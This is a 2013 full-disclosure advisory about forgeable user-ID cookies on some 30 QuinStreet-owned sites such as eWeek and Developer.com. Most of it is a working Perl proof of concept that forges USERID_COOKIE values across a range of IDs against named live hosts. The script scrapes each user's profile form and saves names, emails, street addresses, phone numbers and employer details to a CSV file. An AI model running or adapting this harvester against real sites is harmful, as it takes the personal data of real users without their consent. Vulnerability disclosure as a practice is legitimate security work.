A confirmed security vulnerability has been identified with 30 high traffic web sites owned by QuinStreet. The vendor stores database IDs in cookies which are easily spoofed (USERID_COOKIE), allowing all user information to be accessed.
12c6c5deb30c5b87678c3f751877699e042013d41da09a3c32d7c0543db5a1a8
# March 13, 2013
# FULL-DISCLOSURE Exclusive - Vielen Dank John!
#
# VULNERABILITY SUMMARY
# ---------------------
# A confirmed security vulnerability has been identified with 30 high traffic web
# sites owned by QuinStreet. Vendor stores database IDs in cookies which are
# easily spoofed (USERID_COOKIE), allowing all user information to be accessed.
# Seven million users are reportedly in the database:
# http://www.itbusinessedge.com/about-itbe
#
# Web sites
include:
#
# Ziff Davis
# ----------
# http://www.eweek.com/
# http://www.baselinemag.com/
# http://www.cioinsight.com/
# http://www.channelinsider.com/
# http://www.eseminarslive.com/
#
# Developer.com Network
# ---------------------
# http://www.developer.com/
# http://www.devx.com/
# http://www.codeguru.com/
# http://www.htmlgoodies.com/
#
# IT Business Edge Network
# ------------------------
# http://www.itbusinessedge.com/
# http://www.datamation.com/
# http://www.smallbusinesscomputing.com/
# http://www.internetnews.com/
# http://www.serverwatch.com/
# http://www.infostor.com/
# http://www.enterprisestorageforum.com/
# http://www.enterprisenetworkingplanet.com/
# http://www.enterpriseappstoday.com/
# http://www.cioupdate.com/
# http://www.databasejournal.com/
# http://www.esecurityplanet.com/
# http://www.webopedia.com/
# http://www.linuxtoday.com/
#
# PROOF OF CONCEPT
# ----------------
# The below sample POC Perl script will extract user demographic data from the
# above listed web
sites and write the contents to a csv file.
#
# On Windows, use http://www.strawberryperl.com/, for other O/S visit www.perl.org/get.html
#
use strict;
use WWW::Mechanize;
use HTTP::Cookies;
# assetforms.* are iframes inserted into each website user management page
my @urls = ("http://assetform.itbusinessedge.com/acl/accountController.jsp",
"http://assetform.eweek.com/acl/accountController.jsp?css=eweek/"
."eweekArticleRegistrationForm.css&sdn=Eweek&w=http://www.eweek.com"
."&u=%2Findex.php%2FaccountManagement%3F&isIframed=yes&rand=11207&formType=",
"http://assetform.developer.com/acl/accountController.jsp?formType="
."userProfile&css=developerCom/developerComArticleRegistrationForm.css&w="
."http://www.developer.com&sdn=developer&nlalkeys=null&submit=submit/");
my $agent = "User-Agent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; "
."Trident/6.0)";
#comma delimited file name
my $outfile = "eweek-users" .int(rand 100000) . ".csv";
my $cookie_jar = HTTP::Cookies->new;
my $mech = WWW::Mechanize->new(cookie_jar=>$cookie_jar);
$mech->agent($agent);
my $url;
my $Website;
my $LowUserid_Cookie = 0;
my $HighUserid_Cookie = 0;
my $i;
my $SessDate;
my $UserDemographic;
my $output_page;
RandUserRange();
CreateCsvHeader();
for ($i = $LowUserid_Cookie; $i < $HighUserid_Cookie; $i+=100) {
$SessDate = "136303" . int(1000000 + rand 1000000);
setCookies($i,$SessDate);
foreach $url (@urls){
$Website = substr($url, 17, 5);
retrieveUrl($url);
#print "\n\nCookies:\n", $mech->cookie_jar->as_string, "\n";
print ("UserID:" . $i . "\n");
print ("Website" . $Website . "\n");
print ("Length of output_page:" . length($output_page));
print ("\n\n");
last if
length($output_page);
}
if (length($output_page)) {
open(OUTFILE,">>$outfile");
$UserDemographic = processForm($i);
print OUTFILE $UserDemographic;
#print OUTFILE $output_page;
close (OUTFILE);
}
}
exit;
sub RandUserRange {
# if (rand(2) < 1) {
#$LowUserid_Cookie = int(rand( 1000)) + 390000;
#$LowUserid_Cookie .= "21";
$LowUserid_Cookie = "38500021";
$HighUserid_Cookie ="47000021";
# }
# else {
#$LowUserid_Cookie = int(rand(10000)) + 1500000;
# $LowUserid_Cookie = "144530710";
# $HighUserid_Cookie =
"180000000";
# }
}
sub setCookies {
$cookie_jar->clear;
$cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.itbusinessedge.com',0);
$cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.itbusinessedge.com',0);
$cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.eweek.com',0);
$cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.eweek.com',0);
$cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.developer.com',0);
$cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.developer.com',0);
}
sub retrieveUrl {
$mech->get($_[0]);
$output_page = $mech->content();
if ($output_page =~ m/Sign In/) {
$output_page = "";
}
return ($output_page);
}
sub
processForm {
$mech->form_name("formTypePost");
my $Userid = $_[0];
my $FirstName = clean($mech->value('FN'));
my $LastName = clean($mech->value('LN'));
my $Email = clean($mech->value('EM'));
my $CompanyName = clean($mech->value('CompanyName'));
my $Title = clean($mech->value('Designation'));
my $JobFunction = clean($mech->value('JobFunction'));
my $DecisionRole = clean($mech->value('DecisionRole'));
my $Employees = clean($mech->value('NumberofEmployeesRange'));
my $Industry = clean($mech->value('Industry'));
my $StreetAddress = clean($mech->value('S1'));
my $City = clean($mech->value('CT'));
my $State = clean($mech->value('SP'));
my $PostalZone = clean($mech->value('PC'));
my $Country = clean($mech->value('CN'));
my $Phone =
clean($mech->value('WP'));
my $s;
$s = $Userid .','. $Website .',' .$FirstName .','. $LastName .','. $Email .','
.$CompanyName .','. $Title .','. $JobFunction .','. $DecisionRole .','
.$Employees .','. $Industry .','. $StreetAddress .','. $City .','. $State
.','. $PostalZone .','. $Country .','. $Phone . "\n";
return ($s);
}
sub clean {
local($a) = ($_[0]);
$a =~ s/[^a-zA-Z0-9 \.\@!_%+-]//g;
return $a
}
sub CreateCsvHeader {
open(OUTFILE,">$outfile") || die("File write error");
print OUTFILE "UserId,Website,FirstName,LastName,Email,CompanyName,Title,"
."JobFunction,DecisionRole,Employees,Industry,StreetAddress,City,State,"
."PostalCode,Country,Phone\n";
close(OUTFILE);
}